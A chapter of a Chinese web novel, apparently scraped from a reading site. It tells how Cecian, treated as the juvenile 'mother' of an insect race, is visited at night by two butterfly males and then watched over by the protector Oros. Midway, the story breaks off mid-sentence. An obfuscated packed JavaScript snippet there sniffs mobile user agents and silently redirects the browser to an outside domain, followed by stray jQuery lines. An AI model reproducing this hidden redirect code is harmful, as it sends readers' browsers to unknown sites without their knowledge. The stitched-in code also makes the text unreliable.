半梦半醒间,塞西安皱着眉头蜷缩成一团,习惯性地往后退去。
直到悬空的失重感袭遍全身,他才猛然惊醒,一个翻滚扑腾到床上。
他清醒过来,自己已经不在简陋阴暗的实验室,不需要缩成一团抵在墙角睡觉。
身下宽敞的床铺,温暖的被窝简直就像一场美梦,让他不禁怀疑自己是否真的活着离开了实验室。
浓重的疲倦涌上心头,将他无休止地拽向意识深处,他却硬是较劲似的强睁着眼,不肯就此沉溺。
骨子里的不安全感将他的灵魂一次又一次冲上海岸,直到浑身湿透,沾上海水的咸涩与湿重。
床头,两只蝴蝶偷偷摸摸看着他紧绷的背影,奇怪地摇着触角。
妈妈,怎么不乖乖睡觉呢?
不好好休息的话,身体会更糟糕的。
尤里尔有些急切地在桌上飞来飞去,以兰修斯为圆心旋转,不巧与突然转身的塞西安大眼瞪小眼。
一只黑黢黢的蛾子像是突然死了一样从空中坠下,砸到床头柜发出沉闷的碰撞声。
塞西安:“……?”
打开灯,两只熟悉的黑底碧纹蝴蝶映入眼帘,心头顿时涌上果然如此的无语感。
发丝沾着汗粘附在额角,惨白的瞳孔逼近,形如绝美的鬼魅。
塞西安凝视着装死不动弹的两虫,压低声音:“尤里尔,兰修斯。”
两虫狠狠打了个寒颤,触角低垂下去。
现在的妈妈……怎么……看起来好凶……
“你们过来做什么?”反正睡不着,塞西安索性趴在床头,支着脑袋问话。
来偷偷看你睡觉……
不,尤里尔当然不能承认。
维持着小小蝴蝶的身躯,他狡辩的声音清晰透彻地传送到塞西安的耳朵:“我担心妈妈睡不好,随时照顾您!”
“……”
蝴蝶,说人话了?
塞西安有些惊奇地瞪大眼,十分不客气地伸手把尤里尔抓到手心,毛绒绒的触感实在是太过奇异,他忍不住翻来覆去,掰他的嘴。
“啊啊啊!!”
整个虫体被妈妈捧在手心,温柔地抚摸脑袋和翅膀的感觉真是太棒了,要是他现在有脸,肯定兴奋地红透了!
兰修斯不甘示弱地飞过来,趁机把尤里尔踢走自己躺下,讨好似的蹭塞西安修长的手指,黑色的蝶翅从指间的缝隙穿出。
塞西安这只摸摸,那只也摸摸,简直不亦乐乎:“嘴在哪?怎么说话的?”
“妈妈,虫体不能说话,我们现在是在通过精神链接交流。”
尤里尔气愤地逃离这个拥挤的地方,跳到塞西安肩头,躲进他柔软的发丝,跟一个蝴蝶发饰一样。
又一次听见这个词,塞西安回忆起当时在飞船上差点迷失在精神海的恐怖经历,不由地摇摇头。
“布朗说幼虫进入精神海,会迷失在里面。不打开精神海也能通过精神链接交流?”
尤里尔:“嗯嗯,精神链接是与生俱来的联系,母亲你以后还可以通过精神链接控制我们的行动哦。”
这么厉害?塞西安有些惊讶地眨眨眼。
兰修斯:“难道您进入过精神海?!”
一向冷静的他难得躁动地扑棱起翅膀,一下一下搔刮着手心。
“没事,及时被喊醒了。”他安抚地点了点兰修斯的脑袋,“对了,你们是只能单独和我交流吗?”
兰修斯:“是的,雄虫之间没有精神链接。”
所以虫母能单线联络雄虫,但雄虫之间相对孤立,确实对于有利于巩固虫母对族群的掌控。
“那你们变回人形吧,方便一点。”
兰修斯还没来得及制止,一个高大的赤裸身躯就直直砸到塞西安身边,恬不知耻地趴到他身上。
塞西安:“?!!”
“我就知道妈妈心疼我,不舍得让我在床头柜上睡觉。”尤里尔轻轻松松就能把塞西安整个人掩在身下,两具躯体立刻紧密贴合,不留一丝缝隙。
兰修斯落在他脑袋上,用自己的小细腿踹着他的脑袋:“快起来!妈妈身上有伤!”
奈何蝴蝶的身躯过于渺小,他的攻击跟挠痒痒没有区别,只能无奈变回人体,抓过旁边的浴袍草草围着,上手把尤里尔扔出去。
他将魂魄飞到天外的塞西安扶起:“妈妈,虫体变回人形没有衣服的。”
“……”
他知道,他自己的腹部出现时,也把裤子撕裂了。
塞西安指挥官仍然没有回神,他想到以前在战场上,也有近身作战的时候。
难道虫体变回人形全都赤身裸体?那整个战场上不都得不堪入目?!
荒谬……太荒谬了……
“那你们,不会有羞耻的时候吗?”塞西安木着脸问。
“虫族有特殊的衣服,能附着在皮肤表层,但不太舒服,非战斗人员不会穿。”兰修斯回答。
“至于羞耻,如果自己的身材不如对方高大,应该会自卑而不是羞耻吧?”
虫族向来以武力为胜,体型在很高程度上就已经决定了争斗的胜负。除了虫母之外,没有雄虫会对弱小的同类施以同情。
因为弱小,就代表着死亡。
里面混乱的动静把外面的几虫也招惹进来了,他们毫不犹豫停下几百人的会议,钻进母亲的寝宫。
奥罗斯快要按捺不住自己的拳头了,他罕见地冷了脸:“你们俩个,出来!”
“母亲需要充足的睡眠与休息,你们胡闹什么!”
衣衫不整,正围在虫母身边作乱的两虫顿时抖了抖,知错地退下去。
塞西安被重新按回了床上,奥罗斯忍耐着怒火,检查他的伤口,又细心为他掖好被角。
“母亲,如果他们还敢擅闯您的房间,请及时将他们赶出去。如果不方便,请立即喊我前来。”
“嗯。”塞西安忽然轻轻一笑,顿时浇灭奥罗斯心头的火焰,“奥罗斯,你比他们靠谱多了,以后我可以无条件信任你吗?”
小声的话语却说出震耳欲聋的效果,让奥罗斯立在原地好久才缓过神来。
他的声音有些颤抖:“可以的,我会为您做任何事。”
塞西安担心地询问:“他们晚上再来打扰我怎么办?”
“我会看管好他们的……”
“要不你睡那边吧。”
“!”奥罗斯倏地涨红了脸,他虫生里从未遇见过如此的厚爱!
妈妈让他,留下!
这张床足够睡下五六个人,奥罗斯却十分拘谨地直直躺在最边缘的位置,生怕挤到受伤的虫母。
独占几乎一整个大床的塞西安:“……”
平时行军作战危难时,他也没少和别人挤一个床铺,他不是什么娇气柔弱的废物。
之所以让奥罗斯留下,是因为他发现蝴蝶二人显然在虫族没有什么权力,甚至连育虫科主任都能让他们轻松滚蛋,更别提莱斯特他们那些领导阶级。
在这个世界,没有权力就像随风飘摇的野草,随便一折就能轻易被拧断脖子。
人类是,虫族也是,这似乎是一切社会状态的通病。塞西安厌恶过,恨过,但他无力抵抗。
他尝试向上,却被送进实验室,他决定放弃,依旧遭到整个贵族圈层的截杀。他无路可退,降落在异族的领地,也陷入同样的纷争。
对于安宁的渴望,大过于厌恶本身,让他想要继续……
得到一切。
塞西安缓缓入睡,而身旁的奥罗斯是睡不着了,睁着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554126|186855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诡异的复眼凝视黑漆漆的天花板。
身旁人平稳甜蜜的呼吸传来,柔软的被子甚至将他胸膛起伏的弧度都同等传递到身上,他僵直着身体,不敢发出半点动静。
奥罗斯偷偷看向蜷缩成一团的母亲,睡着后的塞西安又一次顺应了身体的本能,回到了昔日的状态。
眉头紧蹙,恨不得整个人钻进被窝,是极度缺乏安全感的姿态,让人忍不住想要将他按进怀里安抚。
虫母依旧是个需要照顾、安抚、疼爱的孩子。
他的身体、精神海全都没有成熟,根本就不该沾染到那些事情。
奥罗斯下定决心,一定要守护好他,绝不让坏虫玷污他纯洁神圣的身体。
一夜无梦,塞西安醒来时,房间已经被阳光充满。
无论是在哪个国度,这都是一件奢侈的事情。
由于科技的飞速发展,星际出现大量污染区,终日被厚重的雾霾笼罩,后来变成星际的垃圾场,就此废弃。
普通居民往往生活在低楼层,吸收光线防止抑郁,要么去人造温房,要么花钱去顶层短暂享受。
透过干净透明的窗户,塞西安首次细致地观察到湛蓝的天空,洁白的云层,以及眼花缭乱的虫族建筑。
洗漱完毕,他慢悠悠晃出房间。奥罗斯正背对着他摆弄药柜,上面填满了各式各样的药剂,让塞西安不由自主地抬脚溜走。
“母亲,先喝药吧。”奥罗斯喊住了快要溜走的塞西安,有些忍俊不禁。
这是最新送来的适合幼虫的药剂,被布朗院长连夜改良,能研究出的副作用最小,刺激性最弱的药物。
清晨,某位怨气深重的院长亲自把药剂送上来,本想向虫母邀功,却没想到塞西安还在睡眠之中。
他沉默地下去补觉了。
“幼虫大多对药剂非常抵触,但我相信您非常勇敢,一定能一次喝完。”奥罗斯端着一排药剂,微笑着看向塞西安。
“……”
为什么这话听起来不像是鼓励,更像是嘲讽啊?
塞西安面无表情,在奥罗斯赞叹不已的欢呼与鼓掌下一饮而尽。
他接过漱口水,无奈地想虫族还真是把他当小孩子养了,一口一个幼虫。
厨房里传来争吵声,他奇怪地凑近一瞧,兰修斯正在细心准备早餐,而尤里尔在……捣乱。
兰修斯显然已经被惹火了,尤里尔一凑近就用尾巴扇他,将一条漆黑的长尾甩出鞭子的气势,在地面上“啪啪”作响。
“当初不好好学,现在还好意思哭!”
塞西安倚在门框边,饶有兴致地看着尤里尔从上到下,从态度到方法被狠狠“攻击”一番,忍不住“噗嗤”一声笑出来。
尤里尔抱住他的胳膊:“妈妈,你还笑我……”
塞西安盯了盯兰修斯后腰处的空隙,那尾巴刚刚就是从这里伸出来,眨眼就不见了。
他唇角轻挑:“尤里尔也有别的擅长的事,对不对?”
温暖的日光下,他雪白的长发反射出金色的光辉,眉目清隽,整个人都透露出神圣的威严。
妈妈安慰虫,妈妈好。
尤里尔擦去嘴角的口水,低头凝视着那张美丽到让虫失神的脸,忍不住挤过去,把他压在自己和门板之间。
妈妈……妈妈……
忽然,他的腰肢缠绕上一根更加粗壮的尾巴,将他整个人卷走丢出去,沿着抛物线砸到远处的墙角,发出“咚”的一声。
塞西安忍不住抖了抖,担心地看过去。
“母亲,雄虫皮糙肉厚地很,只要不是断胳膊断腿,基本上没有大问题。”奥罗斯收回尾巴。
“只要您还是幼虫,我就不会让心怀叵测的虫勾引您。”
他是,坚定的,护花使者。